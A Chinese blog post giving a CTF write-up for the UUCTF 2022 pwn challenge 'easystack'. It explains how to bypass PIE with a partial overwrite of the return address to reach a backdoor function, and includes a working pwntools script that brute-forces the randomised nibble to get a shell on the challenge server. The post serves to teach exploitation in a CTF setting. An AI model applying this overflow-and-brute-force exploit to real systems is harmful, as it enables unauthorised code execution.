首页 > 其他分享 >【pwn】[UUCTF 2022 新生赛]easystack --pie爆破

【pwn】[UUCTF 2022 新生赛]easystack --pie爆破

时间:2023-11-12 21:23:10浏览次数:42  
标签:12 字节 -- UUCTF pie num io pwn

查看程序保护

发现开了pie:

partial write(部分写入)就是一种利用PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP

简单来说就是后12位是不会被随机化的,接着看代码逻辑

发现有个后门的函数

可以getshell,但是问题是怎么溢出到这里,vuln函数的buf偏移是0x100,加上8个字节的覆盖rbp,那这个read函数只有2个字节可以利用,考虑低位绕过。看一下汇编

vuln函数:

main函数:

因为开了pie的缘故,导致后12位跟上图的一样,前面的字节全部随机化,我们现在可以将地址后12位覆盖成我们backdoor函数的偏移0x185,一个字节八位,我们还需要后面四位是什么,才能构造成16位(2个字节),后四位我们需要爆破

爆破脚本如下:

from pwn import * context(os='linux',arch='amd64',log_level='debug') io=remote("node5.anna.nssctf.cn",28309)
for num in range(15):     io=remote("node5.anna.nssctf.cn",28309)     io.recvuntil(b"What's your name?\n")     num=num<<0xc   #左移12位,因为要爆破后四位     payload=b'a'*0x100+b'a'*0x8+p16(0x185+num)     io.send(payload)     if b"You are born to pwn!" in io.recv():         io.interactive()     io.close()         

标签:12,字节,--,UUCTF,pie,num,io,pwn
From: https://www.cnblogs.com/GGbomb/p/17827846.html

相关文章

  • 第 117 场双周赛(容斥原理,记忆化搜索,排序)
     本题我们采用隔板法+容斥原理来解决合格总方案数=总方案书-不合理的方案数=不考虑limit的方案数-不合法方案数(至少有一个小朋友>limit)任意方案数n个小球放到3个盒子中->n+2个位置,选两个位置放隔板剩下位置放球c(n+2,2)三个小朋友为:甲乙丙小朋友甲(乙丙)>l......
  • java项目实战-spring-基本用法01-day24
    目录1.spring简单介绍2.IOC/DI--控制反转--是啥3.实现3.如果对象的属性为引用数据类型如何实例化对象4如何用注解的方式以少量的代码实现对象的创建于获取1.spring简单介绍https://spring.io什么事SSM?spring-mvcspring-framework--web服务层mybatis--......
  • 2023-2024-1 学号:20231305 《计算机基础与程序设计》第7周学习总结
    2023-2024-1学号:20231305《计算机基础与程序设计》第7周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2022-2023-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2022-2023-1计算机基础与程序设计第一周作业)这个作业的目标<自学教材计算......
  • 《Unix/Linux系统编程》教材学习笔记第十二章
    chapter12块设备I/O缓冲区读写普通文件的算法依赖于两个关键操作,即get_block和put_block,这两个操作将磁盘块读写到内存缓冲区中。由于与内存访问相比,磁盘I/O速度较慢,所以不希望在每次执行读写文件操作时都执行磁盘I/O。因此,大多数文件系统使用I/O缓冲来减少进出存储设备的物理I/......
  • Markdown常用
    Markdown学习笔记标题(几级标题就是几个#号+空格,最多6级)三级标题四级标题五级标题六级标题字体helloworld(前后两个*)helloworld(前后一个*)helloworld(前后三个*)helloworld(前后两个~)引用(>+空格)再小的帆也能远航分割线(三个-或者三个*)图片格式:![图片名称]+(本地地址......
  • Linux提取RPM包文件
    在讲解如何从RPM包中提取文件之前,先来系统学习一下cpio命令。cpio命令用于从归档包中存入和读取文件,换句话说,cpio命令可以从归档包中提取文件(或目录),也可以将文件(或目录)复制到归档包中。归档包,也可称为文件库,其实就是cpio或tar格式的文件,该文件中包含其他文件以及一些相关......
  • Ado.NET练习
    ADO.NET练习,主要包括SqlConnection对象、SqlCommand对象、SqlDataReader对象、SqlDatAdapter对象、SqlTransaction事务、以及对应的数据查询、数据修改、数据添加、数据删除操作。usingMicrosoft.Data.SqlClient;usingSystem.Configuration;usingSystem.Data;usingSystem.......
  • linux系统配置固定地址
    登录虚拟机Linux系统,输入账户密码登录root权限。输入ipadd***查看IP命令***ens33是网卡,网卡下的192.168.124.***就是IP地址。如果没有ens33网卡的话就是安装的时候获取的那步出错了。这时候点击编辑-虚拟网络编辑器vmnet看一下nat和网段地址是否正确重启网络服务命令:systemctlr......
  • SQLHelper帮助类库
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingMicrosoft.Data.SqlClient;usingSystem.Data;usingSystem.Configuration;namespaceYido.AdoNet.ToSQLServer{///<summary>......
  • TypeScript版的吴恩达的机器学习课程练习-2
    这几天看完了逻辑回归相关的课程,听着的时候感觉还算顺利,但是在进行课程练习的过程中还是花费了较长的时间,因为我画出的图形和实际出题题目后面的图形有点不太一样,所以来来回回不断地调整参数。后面才发现和学习速度α以及梯度下降次数有很大的关系。模型实现具体的模型推到就不说了......